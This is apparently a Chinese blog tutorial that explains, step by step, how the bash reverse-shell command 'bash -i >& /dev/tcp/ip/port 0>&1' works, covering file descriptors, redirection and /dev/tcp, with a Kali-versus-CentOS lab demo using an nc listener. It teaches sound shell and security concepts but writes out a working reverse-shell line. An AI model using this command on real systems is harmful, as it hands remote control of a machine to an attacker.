1.簡介
本文結合一些參考文章以及作者個人理解解釋Linux的bash反彈命令中的 &>、0>&1
觀點有誤,歡迎指出!
目標討論命令:bash -i >& /dev/tcp/ip/port 0>&1
2.基本知識
1. bash
bash是什麼? 是一種shell。 shell是什麼?
此處引用https://blog.csdn.net/weixin_42432281/article/details/88392219
Shell:一般我們是用圖形介面和命令去控制計算機,真正能夠控制計算機硬體(CPU、記憶體、顯示器等)的只有作業系統核心(Kernel),由於安全、複雜、繁瑣等原因,使用者不能直接接觸核心,需要另外再開發一個程式,讓使用者直接使用這個程式;該程式的作用就是接收使用者的操作(點選圖示、輸入命令),並進行簡單的處理,然後再傳遞給核心,核心和使用者之間就多了一層“中間代理”,Shell 其實就是一種指令碼語言,也是一個可以用來連線核心和使用者的軟體,我們編寫完原始碼後不用編譯,直接執行原始碼即可。
常用的Shell:bash由 GNU 組織開發,sh 是 UNIX 上的標準 shell,是第一個流行的 Shell,bash保持了對 sh shell 的相容性,是各種 Linux 發行版預設配置的 shell。現在sh 已經基本被 bash 代替,bash是sh的擴充套件補充,但是也有些是不相容的,大多數情況下區別不大,特殊場景可以使用 bash 代替 sh。
通俗點講,shell設計好的一個程式,使用者可以用他內建的命令去執行如今需要用滑鼠等裝置進行的操作(如:建立檔案、解壓縮包)等,最早期電腦沒有螢幕,及沒有視覺化頁面,一切操作全靠命令。隨著使用者化開發而有了如今的視覺化操作。理解了這也就瞭解了bash簡單來講就是一個執行命令操作的視窗
冷知識:Linux在shell視窗輸入echo $0可以檢視當前shell是什麼
2.反彈shell
在安全滲透中我們在攻擊目標終端時可能會遇阻礙問題導致無法對目標終端控制,比如防火牆、ip變更連線不穩定
這裡就防火牆討論,防火牆策略除特別配置基本都是——進嚴出松,什麼意思呢?
通俗來講:防火牆是我買來的保鏢,我的保鏢保護我——讓別人不能主動跟我說話。但我要主動去跟別人說話,保鏢就不會攔著(前提:我沒有主動給保鏢設定我和什麼特徵的人說話他會攔著我)。
我主動跟別人說話這個過程(以我的視角)——這叫正向連線(我連線別人)
別人主動跟我說話這個過程(以我的視角)——這叫反向連線(別人連線我)
但通常我們以攻擊者視角,即我主動連線別人的終端電腦,這是正向連線
別人的終端電腦連線我,這是反向連線
所以“反彈shell”就是,被攻擊的終端電腦主動把shell交給我,這樣不會被防火牆攔截。
(我要主動讓你把你的手機“解鎖了”給我,你也不會給我吧~)
這也間接說明反彈shell的基礎是在,我至少是擁有一部分目標主機的許可權(我能碰到你解了鎖的手機),才能讓目標主機主動把shell給我
3. 檔案描述符 0 1 2 檔案描述符
檔案描述符是什麼?
這篇文章我覺得寫的很清楚https://zhuanlan.zhihu.com/p/364617329
意思是一個程序需要操作到的檔案會在核心中構成一個陣列,陣列值代表對應的檔案,而檔案描述符即檔案的陣列下標(這也是為什麼會從0開始),而規定從作業系統啟動開始,有下面三個固定序號
0 表示標準輸入(stdin)
1 表示標準輸出(stdout)
2 表示標準錯誤(stderr)
即0永遠代表標準輸入檔案的下標,1永遠代表標準輸出檔案的下標,2永遠代表標準錯誤檔案的下標
這類似於程式設計中的指標,有資料結構基礎可能好理解些
總結就是:
- 一個程序的完成會涉及很多操作目標,每次執行前都會事先把所有目標列成一個表格
- 這個數字就是一個代號,一個數字代表一個目標
- shell視窗是互動式,最基本目標就是 一個輸入資訊的地方 一個輸出成功結果資訊的地方 一個輸出報錯資訊
所以常用就這三個並且數字固定不變————輸入、結果輸出、報錯輸出(對應0,1,2)
舉個例子:
在 shell 中,我輸入 whoami ,緊接著返回了 smile
那麼我們可以想象,whoami和smile以及smiel@localhost等這些人類可讀文字都是資料,這個shell的"視覺化頁面"也就是後面黑色的熒幕就是瓶子,這個命令過程(程序)就是一個流水線,流水線上有很多管道通向核心但我們看不見。
而我們只能看到進入了瓶子的水(即把資料列印在黑色的熒幕上),至於水在管道里被shell的其他部件怎麼控制去核心、發生什麼我們不知道也不關心
(知識點1:視覺化頁面只是整個shell程式的一小部分)
參考下面示例圖
根據在shell視窗裡一條命令顯示的位置關係我暫時把以下命名
- 桶我們認為是鍵盤,這可能有點抽象。Linux裡有個檔案叫/dev/stdin,我們可以暫時理解為鍵盤敲擊內容會先儲存在裡面,比顯示在螢幕上更早,那桶就是這個檔案
- 上瓶子我們認為就是shell裡顯示輸入資訊的那塊區域(前面有$符號),他不是重點,目前簡單理解為驗證鍵盤的輸入,因為鍵盤輸入了什麼,他就會複製一份顯示在這塊區域
- 下瓶子就是shell裡顯示輸出結果的那塊區域(前面是空的)
注意!!!這是三塊不同區域(著重記住桶和下瓶子)
shell裡預設:
編號0指向鍵盤(桶),是用於取水的地點
編號1指向無$區域(下瓶子),用於把水從管道匯出的地點
編號2同樣指向無$區域(下瓶子),因為錯誤資訊本質也是輸出
(注意和1區分,1是成功後的結果資訊,2是報錯資訊)
可以看圖,“cat...沒有那個檔案...”這部分是報錯資訊,因為剛剛說的2預設指向和1相同的區域,所以我們看見他在剛剛編號1的下瓶子區域顯示出來
(知識點2:說明同一個區域(比如下瓶子)可以被多個描述符(編號)指向)
而所謂在程序裡的那張記錄0,1,2的表,可以理解為管理本次程序(流水線)的管理員手裡拿著個名冊,記錄本次程序任務需要哪些區域(水的容器)
理解了此處,對於後面辨認重定向關係就簡單多了
此時我們思考一個問題:一條命令執行前資訊的讀取和執行完成後結果顯示在哪關鍵在於那張記錄0.1.2是指哪個瓶子的表。如果我們能改變那張的表格。比如我們把錯誤資訊放在無$區域(下瓶子),把成功的結果放在1.txt中,並且同時執行一條正確命令和一條錯誤命令,那是不是就能在兩邊分別得到不同資訊呢。
4.Linux重定向
百度百科對Linux重定向的解釋
Linux重定向是指修改原來預設的一些東西,對原來系統命令的預設執行方式進行改變,比如說簡單的我不想看到在顯示器的輸出而是希望輸出到某一檔案中就可以透過Linux重定向來進行這項工作。
首先認識幾個符號
- 輸入重定向 <或<<
- 輸出重定向(覆蓋) >
- 輸出重定向(追加) >>
現在我們有改表的方法了,這三個符號就是我們的工具,比如說剛剛編號1指向下瓶子,我現在要換成盆(1.txt假設是盆),那麼編號1就要指向盆的名字
這個箭頭方向不要管!!!
理解為“修改為”的意思,我們只需要從左到右讀,比如輸出重定向,以這個1.txt為例。
意作 whoami這條命令程序中-標準輸出1的目標-修改為-1.txt
正規寫法是 whoami 1>1.txt
思考:
- 我們可以設想,我們把下瓶子換成盆了,那麼資訊就全進入盆了,所以下瓶子是不會有東西的
實驗驗證:
-
可以看到結果正如我們所設想,下瓶子區域沒有任何東西,使用
cat
命令檢視1.txt(盆)中,是有剛剛相同的資訊的 -
並且可以看出平常我們是省略了重定向符號功能所對應的檔案描述符號的(即數字1),此處不加檔案描述符我們把結果寫入2.txt結果也是和1.txt一樣效果
還記得剛剛那個問題,我們同時輸入一條正確和一條錯誤的命令,如下:
我們使用&&符號可以同時執行兩條命令————&&這個符號認識吧,並且的意思,前面正確後後面才進行判斷
如下執行命令後:
可以看到我們同時有一個正確輸出和一個錯誤輸出,並且都在沒$符號的區域,即下瓶子區域
所以現在我們進行實驗去驗證剛剛的想法,把錯誤資訊留在這,把成功結果為了區分放在2.txt吧.我們只需要把1指向修改為2.txt,2預設指向這所以不用修改
這裡先做一個錯誤演示
可以看到hack.jpg仍然在這,這是因為剛剛說了&&符號的邏輯是前面正確了才執行後面,所以這裡
ls
執行完畢了,才執行後面部分,1>2.txt
不屬於ls
命令,它屬於cat 1.txt
,但cat 1.txt
是錯誤輸出2,所以1>2.txt
等於沒有任何效果。
所以我們要改一下寫法
可以很清楚看到,原本一起顯示的hack.jpg沒有了,而我們檢視2.txt(盆)裡是有這個資訊的。
再次提醒:2.txt裡是另外一個區域,cat命令只是又把他從2.txt(盆)裡提取出來,放在了無$區域(下瓶子)裡,讓我們看見了
至於0的輸入,同樣是一個代號,它預設指向的是有$的區域(上瓶子),我們同樣可以用重定向符號修改
那我們的命令不用鍵盤輸入,用什麼輸入呢?
答案是:文字
其實我們用的最多的文字讀取命令cat
就是輸入重定向
繼續實驗
我們在1.txt中寫入Hello World
如果我們要檢視內容就要用到cat 1.txt
命令
但我們單獨看cat 1.txt
這個命令本身,我們並沒有輸入Hello World,1.txt代替了鍵盤,裡面的內容代替了鍵盤輸入的內容列印在了我們的螢幕上
到這裡,你應該已經很清楚瞭解了描述符0,1,2以及簡單改變其中一個描述符的指向了
5.&>、0>&1
&用法1
&本身是邏輯運算and的意思
在之前描述符的介紹中我們也發現了,標準輸出1和錯誤輸出2,他本質都是輸出,所以我們給他內建了對描述符操作時 &
等於 1&2
注意:此符號使用時就不需要管符號在>的哪邊了
&>
等於>&
所以
whoami 1>1.txt 2>1.txt
等於whoami 1&2>1.txt
也等於whoami &>1.txt
還等於whoami >& 1.txt
&用法2
現在我要做一個騷操作,什麼呢?
假設我要存放的檔名很長很複雜,比如叫123qweiop345qwe.txt
我現在把標準輸出1和錯誤輸出2都放在這裡面,那命令是不是應該這麼寫
ls 1>23qwe678iop345qwe.txt 2>23qwe678iop345qwe.txt
我天,太長了,我累了!!!
所以我要簡寫,怎麼簡寫呢?我們可以看到描述符1指向文字檔案23qwe678iop345qwe.txt,在流水線管理員那寫的是
1 ————> 23qwe678iop345qwe.txt
2 ————> 23qwe678iop345qwe.txt
我現在嫌他長,我寫成
1 ————> 23qwe678iop345qwe.txt
2 ————> &1
這個意思是錯誤輸出2 指向的是標準輸出1 所指向的地方,即23qwe678iop345qwe.txt
這裡的&符號作為區分1是檔名還是檔案描述符,如果我們少了&,那麼2指向的是1.txt
具體寫法為2>&1
結論:所以0>&1其實也就是輸入描述符指向的是輸出描述符指的地方
知識點3:檔案描述符可以互相間接指向
所以我們得到兩種&符號的用法
- &後是空的 代表 1 and 2
- &後面有數字 代表數字對應的描述符
這時可能有可愛的小朋友會問了:師傅師傅,我要這樣寫呢
&>&0
emmmmmmmmm...
你留下來單獨補課!!!
答案是:不可以,這倆符號只能用一次,會報錯無法識別命令
6./dev/tcp/ip/port
這個不需要過多解釋,這不是我們的重點,因為Linux萬物皆檔案。
- 從意義來講,這一串東西就是使用dev裝置容器透過tcp方式與一個ip的port埠建立連線
- 實際複製這個路徑去目錄中檢視是沒有這個東西的
以剛剛流水線很好理解,可以把這個東西理解為這又是一根管道,這根管子它不屬於shell了,是shell外的一根管子,即流水線裝置外的一根管子。
管道一端是本地主機(整個工廠),另一端是輸入的遠端IP主機(其它工廠),管子只關心是否成功連線以及哪端資料口有資料就傳輸到對面去,至於兩端具體是什麼樣(是瓶子、是盆)管道不關心
所以為什麼遠端段會用nc監聽,nc可以把傳過去的資料處理後顯示在對方shell頁面上(nc提示監聽成功那個區域也是一個瓶子,用來顯示資料),如果有其它方法接收我們的tcp連線的資料,那也可以。反正兩端互相不知道對方幹了啥,也不關心
3.bash -i &> /dev/tcp/ip/port 0>&1
在此之前我們回收三條結論:
- shell是一個大程式(流水線的組成很多),我們重定向的是管道里的資料流向哪,我們可能不需要流水線自己的瓶子了,而換成別的區域,只需要把描述符指向他就行
- 同一個區域(瓶子)可以被多個描述符(編號)指向
- 檔案描述符可以互相間接指向
首先這是我們的命令:
bash -i >& /dev/tcp/ip/port 0>&1
這條命令的邏輯可以拆開看,因為命令是從左到右讀取
bash -i >& /dev/tcp/ip/port
這是什麼意思呢
- bash之前解釋了是一個使用者與核心溝通的程式,他有我們看的見的頁面。
- -i 是他的引數,意為互動式頁面,互動式就是bash是等待鍵盤輸入的命令,反之,非互動式是讀取文字里的文字作為命令,也就是提前設定了剛剛學習的描述符0的重定向
而整個bash -i是一個程式,和我們輸入這條命令的這個shell頁面是一樣的東西
(注意:這是新建立一個子shell了)
關於子shell與父shell這裡暫時不解釋
我們以最簡單的命令討論,一次命令就是一個程序,他有一個輸入提取區域、一個輸出存放區域
bash -i >& /dev/tcp/ip/port
意為把bash程式裡輸出的所有水(標準輸出和錯誤輸出)倒進/dev/tcp/ip/port這個瓶子裡,而剛剛解釋了/dev/tcp/ip/port是一根管子,他不能儲存,所以他就流到另一端去了,即遠端監聽的裝置。於是,我們在遠端主機監聽就能監聽到這個bash程式輸出的資訊
注意:shell的本體任然在本地主機上,只是我們把流出來的資料匯入了TCP那根管子
並且如果我們實驗會發現一件有趣的事~
攻擊端:Kali
靶機:CentOS
本來目的:用kali控制CentOS
首先我們的Kali監聽9999埠
然後我們的CentOS輸入命令,把bash的描述符1,2,即兩種輸出發給Kali
Enter鍵後,可以看到我們的游標已經到下面去了
而Kali 似乎 也進入了CentOS的bash
但是!!! 有趣的來了
我們在Kali上輸入命令ls
,Enter鍵後游標已經下去,但是~ 我們發現沒有任何反應
接著我們在CentOS上輸入ls
命令
最有趣的事來了 我現在其實已經在鍵盤上輸入了ls
並且Enter鍵,但是可以看到CentOS上什麼反應都沒有,甚至連輸入的東西都沒有
但我們去看Kali那邊,居然!!!它顯示了ls的執行結果出來
事實證明我們在CentOS輸入的命令是執行了的,但為什麼看不到呢?
這就要說到那個顯示的ls
即剛剛稱呼的上瓶子區域的資訊是怎麼出現的了。
這裡我們直接說結論,相關討論我們在文章結尾討論,因為這不是我們的重點
- 這裡的
ls
實際上是把本地(CentOS)鍵盤的輸入的資訊複製在上面了,其目的是為了防止使用者輸入命令時輸入錯誤,其本質也是輸出的資訊,所以順著描述符1指向的地方出去,所以跑到了遠端Kali的頁面上去了
那我們我們以及知道了我們的輸入描述符0在這個語句中是沒有改變指向的,仍然是預設的本地(CentOS)鍵盤,而輸出描述符1指向了TCP的管道
所以整個流程是這樣:
本地鍵盤輸入資訊——>shell根據描述符0指向,從鍵盤讀取鍵盤輸入的資訊——>進行核心互動後得到執行結果——>結果返回shell的未知部件——>shell根據描述符1指向,把結果資料丟到TCP管道里(包含執行結果和第二步讀取鍵盤資訊時複製的上瓶子區域的資訊)——>輸出資訊經過TCP管道流到遠端Kali——>kali的nc把顯示資料正確顯示到螢幕上
所以剛剛具體發生了示例圖就變成了
我們重新梳理一下:
- 輸入符0指向鍵盤
- 輸出符1指向TCP管道
- shell執行本身也有輸出(比如(smile㉿kali)-[~/Desktop])部分,shell開啟的一瞬間已經執行完成把資料顯示到我們shell的描述符1預設指的整個黑色頁面上成為文字
- shell可以設計輸出的視覺化頁面樣式,把我們鍵盤輸入的複製放在有$區域,把命令執行結果放在無符號區域
但其實鍵盤輸入的複製是可以顯示的,這個不是重點,我們在文章結尾討論
清楚了前半部分,後半部分其實很好理解了,無非多加了一個指向
注意!!!
要明確的是我們的描述符1指的是tcp連線,即這根管子
那麼0>&1是什麼意思呢
首先我們前半段的表寫的是啥
0 ———— > 本地鍵盤
1 ———— > TCP管道
2 ———— > TCP管道
這就很好理解了,我們剛剛的 結論3:描述符可以間接指向
那0>&1
的意思就是:描述符0指向描述符1指向的區域
所以表格變成如下
0 ———— > TCP管道
1 ———— > TCP管道
2 ———— > TCP管道
含義就是shell的輸入來自tcp管道
OK本文結束了...
開玩笑~
之前我們說了TCP那根管道他只管傳輸資料,現在0指向了tcp管道,就變成我們原來從本地鍵盤接收資料,現在變成從TCP管道接收資料。管道里的資料從哪來呢?我們不關心,我們只管認準是TCP管道出來的資料就行了
那管子另一端是什麼呢,是我們的遠端主機的shell,更準確的是shell上的nc。
所以解釋一下整個流程發生了什麼:
- nc接收到連線後就可以在鍵盤上輸入東西了,輸入的東西就會被nc控制biu~傳進TCP管道里
- shell根據0的指向從TCP管道接收資料作為shell的輸入的命令
- 然後命令被送往核心互動後得到結果
- 結果根據1或2的指向(反正都是TCP管道)傳入TCP管道
- nc把從TCP管道接收到的資料列印在自己的shell上
剛剛的示例圖就變成
思考:我們剛剛互動式那個問題,我們即使沒有傳過去視覺化頁面的內容,即本地的描述符1沒有指向TCP管道,但0指向了TCP管道,那遠端主機把鍵盤輸入的東西傳到TCP管道里,仍然可以變成了這個shell的命令輸入,然後執行命令,最後把結果列印在本地主機上
答案是:當然可以
這裡Kali開啟監聽
然後CentOS只把0指向TCP管道,可以看到游標在下面,執行成功
這時我們看kali是監聽到TCP連線的並且沒有shell頁面,所以是原本的全黑頁面
但我們執行ls
命令,Enter鍵後游標已經在下面
我們再去看CentOS,可以看到他自己顯示了結果。所以我們的結論是正確的
彩蛋:可以看到這裡鍵盤輸入的複製是顯示在了Kali上,但我們說我們並沒有把輸出資訊傳輸給Kali啊
4.後續討論:
這個回顯鍵盤輸入功能其實只在互動式起作用
具體什麼是互動式頁面呢,引用互動式頁面
互動式模式就是在終端上執行,shell等待你的輸入,並且立即執行你提交的命令。這種模式被稱作互動式是因為shell與使用者進行互動。這種模式也是大多數使用者非常熟悉的:登入、執行一些命令、退出。當你退出後,shell也終止了。
shell也可以執行在另外一種模式:非互動式模式,以shell script(非互動)方式執行。在這種模式 下,shell不與你進行互動,而是讀取存放在檔案中的命令,並且執行它們。當它讀到檔案的結尾EOF,shell也就終止了。
看不懂? 沒關係~
反之咋就瞭解,互動式就是要等待使用者輸入命令,既然要輸入,為了避免使用者輸錯,shell就設計把我們輸入的命令複製作為資料然後根據1原本預設指向shell的視覺化頁面,而我們把這部分輸出指向tcp了,那回顯的資料我們自然看不見
但如果我們用非互動式,他是從檔案讀取命令,這個子shell的功能就消失了。
我們可以在我們本來的父shell裡輸入命令,並且我們的shell本身也是互動式的,所以有回顯。
但我們的TCP管道沒有關,我們在父shell裡輸入被丟進了管道里,所以就能看見回顯去輸入命令了
這裡反彈時直接去掉-i引數,然後我在CentOS輸入了pwd
可以看見pwd
顯示出來了
而Kali仍然能把執行結果顯示
5.參考文章
https://blog.csdn.net/weixin_42432281/article/details/88392219
https://zhuanlan.zhihu.com/p/364617329
https://blog.csdn.net/gui951753/article/details/79154496